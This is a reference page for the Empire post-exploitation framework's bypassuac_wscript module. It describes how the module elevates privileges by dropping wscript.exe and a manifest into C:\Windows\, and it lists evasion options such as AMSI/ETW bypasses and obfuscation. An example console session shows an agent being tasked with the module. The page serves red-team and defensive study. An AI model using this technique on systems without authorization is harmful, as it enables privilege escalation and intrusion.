Invoke-WScriptBypassUAC - Empire Module
This page contains detailed information about how to use the powershell/privesc/bypassuac_wscript Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-WScriptBypassUAC
Module: powershell/privesc/bypassuac_wscript
Source code [1]: empire/server/modules/powershell/privesc/bypassuac_wscript.yaml
Source code [2]: empire/server/modules/powershell/privesc/bypassuac_wscript.py
MITRE ATT&CK:
T1088
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes
The bypassuac_wscript module drops wscript.exe and a custom manifest into C:\Windows\ and then proceeds to execute VBScript using the wscript executablewith the new manifest. The VBScript executed by C:\Windows\wscript.exe will run elevated.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the bypassuac_wscript module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the bypassuac_wscript module:
Agent
Agent to run module on.
Listener
Listener to use.
Additional Module Options
This is a list of additional options that are supported by the bypassuac_wscript module:
Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw
.
Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False
.
ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1
.
Proxy
Proxy to use for request (default, none, or other).
Default value: default
.
ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default
.
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default
.
Bypassuac_wscript Example Usage
Here's an example of how to use the bypassuac_wscript module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/privesc/bypassuac_wscript
Author @enigma0x3
@harmyj0y
Vozzie
Background True
Comments http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-
host.html
https://github.com/Vozzie/uacscript
Description Drops wscript.exe and a custom manifest into C:\Windows\ and then
proceeds to execute VBScript using the wscript executablewith the new
manifest. The VBScript executed by C:\Windows\wscript.exe will run
elevated.
Language powershell
Name powershell/privesc/bypassuac_wscript
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1088
,Record Options----,--------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|------------------|--------------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|------------------|--------------------|----------|-------------------------------------|
| Bypasses | mattifestation etw | False | Bypasses as a space separated list |
| | | | to be prepended to the launcher. |
|------------------|--------------------|----------|-------------------------------------|
| Listener | | True | Listener to use. |
|------------------|--------------------|----------|-------------------------------------|
| Obfuscate | False | False | Switch. Obfuscate the launcher |
| | | | powershell code, uses the |
| | | | ObfuscateCommand for obfuscation |
| | | | types. For powershell only. |
|------------------|--------------------|----------|-------------------------------------|
| ObfuscateCommand | Token\All\1 | False | The Invoke-Obfuscation command to |
| | | | use. Only used if Obfuscate switch |
| | | | is True. For powershell only. |
|------------------|--------------------|----------|-------------------------------------|
| Proxy | default | False | Proxy to use for request (default, |
| | | | none, or other). |
|------------------|--------------------|----------|-------------------------------------|
| ProxyCreds | default | False | Proxy credentials |
| | | | ([domain\]username:password) to use |
| | | | for request (default, none, or |
| | | | other). |
|------------------|--------------------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
'------------------'--------------------'----------'-------------------------------------'
(Empire: usemodule/powershell/privesc/bypassuac_wscript) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/privesc/bypassuac_wscript) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/privesc/bypassuac_wscript) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
- @enigma0x3
- @harmyj0y
- Vozzie
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/bypassuac_wscript.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/bypassuac_wscript.py
- http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html
- https://github.com/Vozzie/uacscript
- http://attack.mitre.org/techniques/T1088
See Also
Check also the following modules related to this module:
- powershell/privesc/bypassuac_env
- powershell/privesc/bypassuac_tokenmanipulation
- powershell/privesc/bypassuac_eventvwr
- powershell/privesc/bypassuac_sdctlbypass
- powershell/privesc/bypassuac_fodhelper
- powershell/privesc/bypassuac
- powershell/privesc/winPEAS
- powershell/privesc/sweetpotato
- powershell/privesc/tater
- powershell/privesc/ms16-135
- powershell/privesc/ask
- powershell/privesc/mcafee_sitelist
- powershell/privesc/privesccheck
- powershell/privesc/sherlock
- powershell/privesc/ms16-032
- powershell/privesc/zerologon
- powershell/privesc/printdemon
- powershell/privesc/getsystem
- powershell/privesc/gpp
- powershell/privesc/watson
- powershell/privesc/printnightmare
- powershell/privesc/powerup/service_exe_useradd
- powershell/privesc/powerup/write_dllhijacker
- powershell/privesc/powerup/service_stager
- powershell/privesc/powerup/service_exe_restore
- powershell/privesc/powerup/service_exe_stager
- powershell/privesc/powerup/find_dllhijack
- powershell/privesc/powerup/service_useradd
- powershell/privesc/powerup/allchecks
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
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